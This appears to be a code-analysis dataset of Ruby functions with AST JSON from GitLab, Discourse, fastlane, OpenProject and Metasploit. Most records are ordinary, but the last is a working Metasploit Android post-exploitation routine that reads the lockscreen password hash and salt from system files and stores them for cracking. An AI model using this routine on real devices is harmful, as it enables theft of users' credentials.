{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/acronis_trueimage_xpc_privesc.rb","start_line":72,"raw_source":"def compile\n    datastore['COMPILE']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"compile\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COMPILE\"]}]}]}","id":"adfb6a2e-475a-480a-a415-32f8e2ace5fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/database/multiple_databases_helpers.rb","start_line":164,"raw_source":"def establish_connection(*args)\n      # rubocop:disable Database/MultipleDatabases\n      if connected? &&\n          connection&.transaction_open? &&\n          ActiveRecord::Base.connection_handler == ActiveRecord::Base.default_connection_handler\n        raise \"Cannot re-establish '#{self}.establish_connection' within an open transaction \" \\\n          \"(#{connection&.open_transactions.to_i}). Use `with_reestablished_active_record_base` \" \\\n          \"instead or add `:reestablished_active_record_base` to rspec context.\"\n      end\n      # rubocop:enable Database/MultipleDatabases\n\n      super\n    end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"establish_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connected?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"transaction_open?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_handler\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"default_connection_handler\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cannot re-establish '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"self\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\".establish_connection' within an open transaction \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"open_transactions\"]},\"to_i\"]}]},{\"type\":\"str\",\"children\":[\"). Use `with_reestablished_active_record_base` \"]}]},{\"type\":\"str\",\"children\":[\"instead or add `:reestablished_active_record_base` to rspec context.\"]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"345019c1-781c-415e-b36c-8f1817159bbe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/rapid_diffs/viewers/image_view_component.rb","start_line":41,"raw_source":"def diff_mode\n        return 'new' if @diff_file.new_file?\n        return 'deleted' if @diff_file.deleted_file?\n        return 'renamed' if @diff_file.renamed_file?\n        return 'mode_changed' if @diff_file.mode_changed?\n\n        'replaced'\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_mode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff_file\"]},\"new_file?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"new\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff_file\"]},\"deleted_file?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"deleted\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff_file\"]},\"renamed_file?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"renamed\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff_file\"]},\"mode_changed?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"mode_changed\"]}]},null]},{\"type\":\"str\",\"children\":[\"replaced\"]}]}]}","id":"e6801f2d-ceac-466a-a3d4-714fde015fe4"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/environment_printer.rb","start_line":130,"raw_source":"def self.print_loaded_gems\n      env_output = \"<details>\"\n      env_output << \"<summary><b>Loaded gems</b></summary>\\n\\n\"\n\n      table = \"| Gem | Version |\\n\"\n      table << \"|-----|---------|\\n\"\n      gems_to_check.each do |current_gem|\n        unless Fastlane::TOOLS.include?(current_gem.name.to_sym)\n          table << \"| #{current_gem.name} | #{current_gem.version} |\\n\"\n        end\n      end\n      rendered_table = MarkdownTableFormatter.new(table)\n\n      env_output << rendered_table.to_md\n      env_output << \"</details>\\n\\n\"\n      return env_output\n    end","complexity_score":21.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"print_loaded_gems\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"env_output\",{\"type\":\"str\",\"children\":[\"<details>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<summary><b>Loaded gems</b></summary>\\n\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"str\",\"children\":[\"| Gem | Version |\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"str\",\"children\":[\"|-----|---------|\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gems_to_check\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_gem\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"TOOLS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_gem\"]},\"name\"]},\"to_sym\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"| \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_gem\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" | \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_gem\"]},\"version\"]}]},{\"type\":\"str\",\"children\":[\" |\\n\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rendered_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MarkdownTableFormatter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rendered_table\"]},\"to_md\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</details>\\n\\n\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env_output\"]}]}]}]}","id":"d64a2928-df63-4b5c-89d3-983bf4afe425"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/wysiwyg/wysiwyg_editor.rb","start_line":154,"raw_source":"def insert_link(link)\n      click_toolbar_button \"Link\"\n      page.find(\".ck-input-text\").set link\n      page.find(\".ck-button-save\").click\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_toolbar_button\",{\"type\":\"str\",\"children\":[\"Link\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".ck-input-text\"]}]},\"set\",{\"type\":\"lvar\",\"children\":[\"link\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".ck-button-save\"]}]},\"click\"]}]}]}","id":"54de5fcb-8da7-42e6-ad16-15b58e6791d2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/notifications_controller.rb","start_line":108,"raw_source":"def mark_read\n    if params[:id]\n      Notification.read(current_user, [params[:id].to_i])\n    else\n      if types = params[:dismiss_types]&.split(\",\").presence\n        invalid = []\n        types.map! do |type|\n          type_id = Notification.types[type.to_sym]\n          invalid << type if !type_id\n          type_id\n        end\n        if invalid.size > 0\n          raise Discourse::InvalidParameters.new(\"invalid notification types: #{invalid.inspect}\")\n        end\n      end\n\n      Notification.read_types(current_user, types)\n      current_user.bump_last_seen_notification!\n    end\n\n    current_user.reload\n    current_user.publish_notifications_state\n\n    render json: success_json\n  end","complexity_score":55.9,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_read\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"types\",{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dismiss_types\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"presence\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"invalid\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_id\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"type_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"invalid notification types: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid\"]},\"inspect\"]}]}]}]}]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"read_types\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"types\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"bump_last_seen_notification!\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"reload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"publish_notifications_state\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}","id":"bdc7ca15-03b8-483d-a8fe-74e0920ecd2b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/queue/build_queue_service.rb","start_line":47,"raw_source":"def builds_for_group_runner\n        strategy.builds_for_group_runner\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"builds_for_group_runner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"builds_for_group_runner\"]}]}","id":"31c97a38-c1c8-4b1c-b8ca-936b361262bd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/android/gather/hashdump.rb","start_line":80,"raw_source":"def run\n    unless is_root?\n      fail_with(Failure::NoAccess, 'This module requires root permissions.')\n    end\n\n    manu = cmd_exec('getprop ro.product.manufacturer')\n\n    print_status('Attempting to determine unsalted hash.')\n    key_file = '/data/system/password.key'\n    unless file_exist?(key_file)\n      print_error('No password.key file, no password on device.')\n      return\n    end\n\n    hash = read_file(key_file)\n    if hash.empty?\n      print_error(\"Unable to read #{key_file}, and retrieve hash.\")\n      return\n    end\n    store_loot('Key', 'plain/text', session, hash, 'password.key', 'Android password hash key')\n    print_good('Saved password.key')\n\n    print_status('Attempting to determine salt')\n    os = cmd_exec('getprop ro.build.version.release')\n    vprint_status(\"OS Version: #{os}\")\n\n    locksettings_db = '/data/system/locksettings.db'\n    locksettings_sql = \"select value from locksettings where name='lockscreen.password_salt';\"\n    unless file_exist? locksettings_db\n      vprint_status(\"Could not find #{locksettings_db}, using settings.db\")\n      locksettings_db = '/data/data/com.android.providers.settings/databases/settings.db'\n      locksettings_sql = \"select value from secure where name='lockscreen.password_salt';\"\n    end\n\n    begin\n      vprint_status(\"Attempting to load lockscreen db: #{locksettings_db}\")\n      db = read_store_sql(locksettings_db)\n      if db.nil?\n        print_error('Unable to load settings.db file.')\n        return\n      end\n      salt = db.execute(locksettings_sql)\n    rescue SQLite3::SQLException\n      print_error(\"Failed to pull salt from database.  Command output: #{salt}\")\n      return\n    end\n\n    salt = salt[0][0] # pull string from results Command output: [[\"5381737017539487883\"]] may also be negative.\n\n    # convert from number string to hex and lowercase\n    salt = salt.to_i\n    salt += 2**64 if salt < 0 # deal with negatives\n    salt = salt.to_s(16)\n    print_good(\"Password Salt: #{salt}\")\n\n    sha1 = hash[0...40]\n    sha1 = \"#{sha1}:#{salt}\"\n    print_good(\"SHA1: #{sha1}\")\n    credential_data = {\n      # no way to tell them apart w/o knowing one is samsung or not.\n      jtr_format: manu =~ /samsung/i ? 'android-samsung-sha1' : 'android-sha1',\n      origin_type: :session,\n      post_reference_name: refname,\n      private_type: :nonreplayable_hash,\n      private_data: sha1,\n      session_id: session_db_id,\n      username: '',\n      workspace_id: myworkspace_id\n    }\n    create_credential(credential_data)\n\n    if hash.length > 40 # devices other than Samsungs have sha1+md5 combined into a single string\n      md5 = hash[40...72]\n      md5 = \"#{md5}:#{salt}\"\n      print_good(\"MD5: #{md5}\")\n      credential_data = {\n        jtr_format: Metasploit::Framework::Hashes.identify_hash(md5),\n        origin_type: :session,\n        post_reference_name: refname,\n        private_type: :nonreplayable_hash,\n        private_data: md5,\n        session_id: session_db_id,\n        username: '',\n        workspace_id: myworkspace_id\n      }\n      create_credential(credential_data)\n    end\n  end","complexity_score":82.45,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_root?\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"This module requires root permissions.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"manu\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"getprop ro.product.manufacturer\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting to determine unsalted hash.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"key_file\",{\"type\":\"str\",\"children\":[\"/data/system/password.key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_exist?\",{\"type\":\"lvar\",\"children\":[\"key_file\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No password.key file, no password on device.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"key_file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to read \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_file\"]}]},{\"type\":\"str\",\"children\":[\", and retrieve hash.\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"Key\"]},{\"type\":\"str\",\"children\":[\"plain/text\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"str\",\"children\":[\"password.key\"]},{\"type\":\"str\",\"children\":[\"Android password hash key\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Saved password.key\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting to determine salt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"os\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"getprop ro.build.version.release\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"OS Version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"locksettings_db\",{\"type\":\"str\",\"children\":[\"/data/system/locksettings.db\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locksettings_sql\",{\"type\":\"str\",\"children\":[\"select value from locksettings where name='lockscreen.password_salt';\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_exist?\",{\"type\":\"lvar\",\"children\":[\"locksettings_db\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locksettings_db\"]}]},{\"type\":\"str\",\"children\":[\", using settings.db\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"locksettings_db\",{\"type\":\"str\",\"children\":[\"/data/data/com.android.providers.settings/databases/settings.db\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locksettings_sql\",{\"type\":\"str\",\"children\":[\"select value from secure where name='lockscreen.password_salt';\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to load lockscreen db: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locksettings_db\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"db\",{\"type\":\"send\",\"children\":[null,\"read_store_sql\",{\"type\":\"lvar\",\"children\":[\"locksettings_db\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to load settings.db file.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"salt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"locksettings_sql\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SQLite3\"]},\"SQLException\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to pull salt from database.  Command output: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"salt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"salt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"salt\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"**\",{\"type\":\"int\",\"children\":[64]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"salt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Password Salt: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sha1\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[40]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sha1\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha1\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SHA1: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha1\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manu\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"samsung\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"str\",\"children\":[\"android-samsung-sha1\"]},{\"type\":\"str\",\"children\":[\"android-sha1\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_reference_name\"]},{\"type\":\"send\",\"children\":[null,\"refname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"lvar\",\"children\":[\"sha1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_id\"]},{\"type\":\"send\",\"children\":[null,\"session_db_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[40]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"md5\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[40]},{\"type\":\"int\",\"children\":[72]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"md5\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MD5: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Hashes\"]},\"identify_hash\",{\"type\":\"lvar\",\"children\":[\"md5\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_reference_name\"]},{\"type\":\"send\",\"children\":[null,\"refname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"lvar\",\"children\":[\"md5\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_id\"]},{\"type\":\"send\",\"children\":[null,\"session_db_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},null]}]}]}","id":"28bd0c9c-bdb9-4fd8-8d24-449db8f78de0"}
